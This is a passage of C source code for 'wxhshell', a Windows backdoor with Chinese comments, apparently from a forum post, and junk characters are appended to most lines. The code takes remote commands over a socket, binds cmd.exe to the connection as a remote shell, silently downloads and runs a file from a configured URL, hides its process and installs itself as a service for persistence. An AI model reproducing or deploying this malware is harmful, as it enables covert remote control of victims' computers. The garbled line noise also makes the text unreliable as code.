  // 帮助 ^<E+7  
  case '?': { klf<=V  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); e<9nt [  
    break; o B6" D  
  } /#:RYM'Tu  
  // 安装 ?G?=,tV  
  case 'i': { 2M&4]d  
    if(Install()) i[\[xfk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >^-[Mpa(*  
    else ,x Tbt4J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y~vTFOI  
    break; w:Lu  
    } Ep?a>\  
  // 卸载 "~V}MPt  
  case 'r': { B4|`Z'U#;  
    if(Uninstall()) HO@T2t[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V)@MM2,  
    else QK?5)[ J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JG( <  
    break; a^=4 '.ok  
    } l4/TJ%`MG  
  // 显示 wxhshell 所在路径 `|/|ej]$P  
  case 'p': { ESomw  
    char svExeFile[MAX_PATH]; BPG)m,/b  
    strcpy(svExeFile,"\n\r"); b8]oI"&G  
      strcat(svExeFile,ExeFile); Ro<!n>H  
        send(wsh,svExeFile,strlen(svExeFile),0); eGTK^p  
    break; 19N:9;Ixz  
    } xJ"Zg]d{  
  // 重启 /ruf1?\,R  
  case 'b': { 6~!YEuA  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4X\*kF%  
    if(Boot(REBOOT))  ]Ea7b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JxLH]1b  
    else { XS!ZTb>[  
    closesocket(wsh); 6pLwwZD  
    ExitThread(0); :mJM=FeJ  
    } }oN(nPxv9  
    break; T^nX+;:|  
    } I2W2B3D` c  
  // 关机 Vks,3$  
  case 'd': { v PGuEfz  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); K[kmfXKu  
    if(Boot(SHUTDOWN)) GDcV1$NA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )_Oc=/c|f  
    else { z5vryhX_Z  
    closesocket(wsh); EmUxM_ T/2  
    ExitThread(0); 7q^/.:wlf  
    } Rke:*(p*n;  
    break; 8@A[ `5  
    } :9`1bZ?a  
  // 获取shell IWWFl6$-  
  case 's': { kdHql>0  
    CmdShell(wsh); f9Xw]G9  
    closesocket(wsh); %om7h$D =`  
    ExitThread(0); E1C8yIF  
    break; >WDpBn:  
  } gK<-*v  
  // 退出 h4qR\LX  
  case 'x': { gU~)(|Nu.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); up1aFzY|6x  
    CloseIt(wsh); !<LS4s;  
    break; <=-\so(  
    } z<fEJN  
  // 离开 2"MI8EK  
  case 'q': { 8;'n.SC{  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); UA9LI<Y  
    closesocket(wsh); K$]QzPXS  
    WSACleanup(); 7_3O]e[8  
    exit(1); lET)<V(Y  
    break; Tk!b`9  
        } `o3d@Vc  
  } \k,bz 0  
  } M/DTD98'N  
:3t])mL#   
  // 提示信息 h0eo:Ahi  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m2! 7M%]GC  
} TkBBHg;  
  } y2U:( H:l!  
?qbp  
  return; ^~aSrREo  
} |pgkl`  
:L[6a>"neE  
// shell模块句柄 vj b?N  
int CmdShell(SOCKET sock) m#ie{u^  
{ :mrGB3x{  
STARTUPINFO si; 8`t%QhE2  
ZeroMemory(&si,sizeof(si)); ks5'Z8X  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !kcg#+s91  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .'a|St  
PROCESS_INFORMATION ProcessInfo; mr1}e VM~!  
char cmdline[]="cmd"; y|dXxd9  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); mqHt%RX  
  return 0; (FaT{W{  
} H_j<%VW  
_+N^yw,r*  
// 自身启动模式 Pc7: hu  
int StartFromService(void) p~.@8r(  
{ <e^/hR4O  
typedef struct DPwSg\*)  
{ #'8PFw\zw  
  DWORD ExitStatus; SIl g  
  DWORD PebBaseAddress; BQU5[8l  
  DWORD AffinityMask; "(N HA+s/  
  DWORD BasePriority; @5y(>>C}8%  
  ULONG UniqueProcessId; l0&8vhw8k  
  ULONG InheritedFromUniqueProcessId; 8joQPHkI\  
}   PROCESS_BASIC_INFORMATION; )ziQ=k6d6  
nB5[]x'  
PROCNTQSIP NtQueryInformationProcess; *lK4yI*%o  
fh_ .J[Y.k  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; kOCxIJ!Xp=  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /pU6trIM  
(M+<^3c  
  HANDLE             hProcess; 95Qz1*TR  
  PROCESS_BASIC_INFORMATION pbi; 9^^#I ~-  
$<cZ<g5)  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5u46Vl{  
  if(NULL == hInst ) return 0; qX(%Wn;n  
o x^lI  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); aAri  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "Y!dn|3  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4l''/$P  
 YBD{l  
  if (!NtQueryInformationProcess) return 0; f}X8|GlBo  
m-89nOls  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6p " c ^  
  if(!hProcess) return 0; hU 7fZl%yl  
]M(mq`K  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; sZ"U=6R  
[kOA+\v  
  CloseHandle(hProcess); x+cF1 N2.  
H/k W :k  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /6?plt&CA  
if(hProcess==NULL) return 0; y!gM)9vq  
j7 =3\SO  
HMODULE hMod; LJwMM  
char procName[255]; M0SH-0T;Z  
unsigned long cbNeeded; pV6HQ:y1  
4w( vRe  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); IxZ.2 67  
n\-_i2yy  
  CloseHandle(hProcess); ^\&g^T%  
;a&:r7]=  
if(strstr(procName,"services")) return 1; // 以服务启动 D:E~yh)$-  
el?V2v[  
  return 0; // 注册表启动 } +4Bf+u:  
} &a_kJ)J  
cN7z(I0[  
// 主模块 @$P!#z  
int StartWxhshell(LPSTR lpCmdLine) $Je"z]cy-  
{ 4nH91Z9=  
  SOCKET wsl; *Qx|5L!_  
BOOL val=TRUE; 9ET+k(wI@  
  int port=0; -FN6sNvIh  
  struct sockaddr_in door; [ 5W#1 &  
9r nk\`E  
  if(wscfg.ws_autoins) Install(); em [F|  
"O[76}I+.q  
port=atoi(lpCmdLine); ^<\} Y  
!t Oky  
if(port<=0) port=wscfg.ws_port; g&3#22z  
uq4s bkP  
  WSADATA data; SrtVoe[  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; qW~ R-g]  
cIvYfgIo9  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   e=l5j"gq  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~H|LWCU)K8  
  door.sin_family = AF_INET; AC:s4iacC  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); .'b3iG&  
  door.sin_port = htons(port); KVM@//:{  
C9U {^  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +;*(a3Gp  
closesocket(wsl); 18"VB50b}  
return 1; 2nU NI U  
} $xtE+EV.p  
yVI;s|jG  
  if(listen(wsl,2) == INVALID_SOCKET) { < }wAP_y  
closesocket(wsl); i!W8Q$V  
return 1; S@xsAib0J  
} pLQSG}N  
  Wxhshell(wsl); )L<?g !j~  
  WSACleanup(); Z4AAg  
//M4Sq(  
return 0; :aq>  
/QXs-T}d  
} aE\BAbD7  
*:T>~ilF  
// 以NT服务方式启动 s`iNbW="  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <W51oO  
{ ^q&wITGI  
DWORD   status = 0; )fMX!#KP  
  DWORD   specificError = 0xfffffff; \ U*-w:+@  
VuMDV6^Z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; sRyw\v-=P  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; sIRrEea  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $',GkK{NX  
  serviceStatus.dwWin32ExitCode     = 0; 6G<Hi"I  
  serviceStatus.dwServiceSpecificExitCode = 0; Cre0e$ a  
  serviceStatus.dwCheckPoint       = 0; mU+FQX  
  serviceStatus.dwWaitHint       = 0; oiv2rOFu  
8<-oJs_o+  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 5d?!<(e6  
  if (hServiceStatusHandle==0) return; JNFT6T)T15  
TFC!u 0Y"$  
status = GetLastError(); rZ.a>'T4  
  if (status!=NO_ERROR) dI0bTw|s/  
{ [ lzy &To  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; (>LHj]}K  
    serviceStatus.dwCheckPoint       = 0; sMfFm@\N  
    serviceStatus.dwWaitHint       = 0; *lerPY3 q  
    serviceStatus.dwWin32ExitCode     = status; ^[seK)S=  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^Em@6fz[  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); P\X=*  
    return; ~6:LUM  
  } '!fFI1s  
LA+$_U"Jk  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 2rj/wakd  
  serviceStatus.dwCheckPoint       = 0; R )d99j^"  
  serviceStatus.dwWaitHint       = 0; _.OMjUBZT  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); f1Yv hvWL  
} 1V**QSZ1  
/SCZ&  
// 处理NT服务事件,比如:启动、停止 EK8E  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Q Bfhyo_  
{ 64!ame}n+  
switch(fdwControl) W\>^[c/  
{ HhWwc#B  
case SERVICE_CONTROL_STOP: ?|">),  
  serviceStatus.dwWin32ExitCode = 0; ll(e,9.D  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  mF*?e/  
  serviceStatus.dwCheckPoint   = 0; /h7>Z9T  
  serviceStatus.dwWaitHint     = 0; Y*kh$E%<#  
  { qXU:A-IdIl  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z9"{f)T  
  } \2R`q*a+  
  return; 4h;f>BG  
case SERVICE_CONTROL_PAUSE: {V%%^Zhwy  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Q+N7:o!;<b  
  break; y#Mc4?  
case SERVICE_CONTROL_CONTINUE: T3G/v)ufd  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; {(M&-~Yh  
  break; Lz9$,Y[  
case SERVICE_CONTROL_INTERROGATE: ~Q_)>|R2  
  break; Pe$^Mo.q  
}; 6`DwEs?Y{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V`g\ja*Y  
} =M1a0i|d  
zj9bSDVL(  
// 标准应用程序主函数 I3G*+6V  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~jp!"f  
{ +H[}T ]  
s`Yu"s 8}4  
// 获取操作系统版本 iJ`%yg,  
OsIsNt=GetOsVer(); qXrt0s[  
GetModuleFileName(NULL,ExeFile,MAX_PATH); *or2  
NIGB[2V(  
  // 从命令行安装 mh A~eJ  
  if(strpbrk(lpCmdLine,"iI")) Install(); 'ZGT`'ri  
hF{x')(#l  
  // 下载执行文件 jU]]:S4xD/  
if(wscfg.ws_downexe) { `P^u:  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &547`*  
  WinExec(wscfg.ws_filenam,SW_HIDE); BaWQ<T8p8  
} 60hNCVq%  
P\q<d  
if(!OsIsNt) { R<n8M"B  
// 如果时win9x,隐藏进程并且设置为注册表启动 zj~nnfoys  
HideProc(); io9y; S"+  
StartWxhshell(lpCmdLine); 2 ?Pt Z  
} Q$xa  
else Em~7D ]Y  
  if(StartFromService()) V17>j0Ev$W  
  // 以服务方式启动 9tzoris[~  
  StartServiceCtrlDispatcher(DispatchTable); }zkL[qu;  
else c!\.[2n  
  // 普通方式启动 jw/'*e  
  StartWxhshell(lpCmdLine); <=;H[} e  
,] ~u:Y}  
return 0; bGZ hUEq  
}
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只看该作者 1 发表于: 2006-10-10
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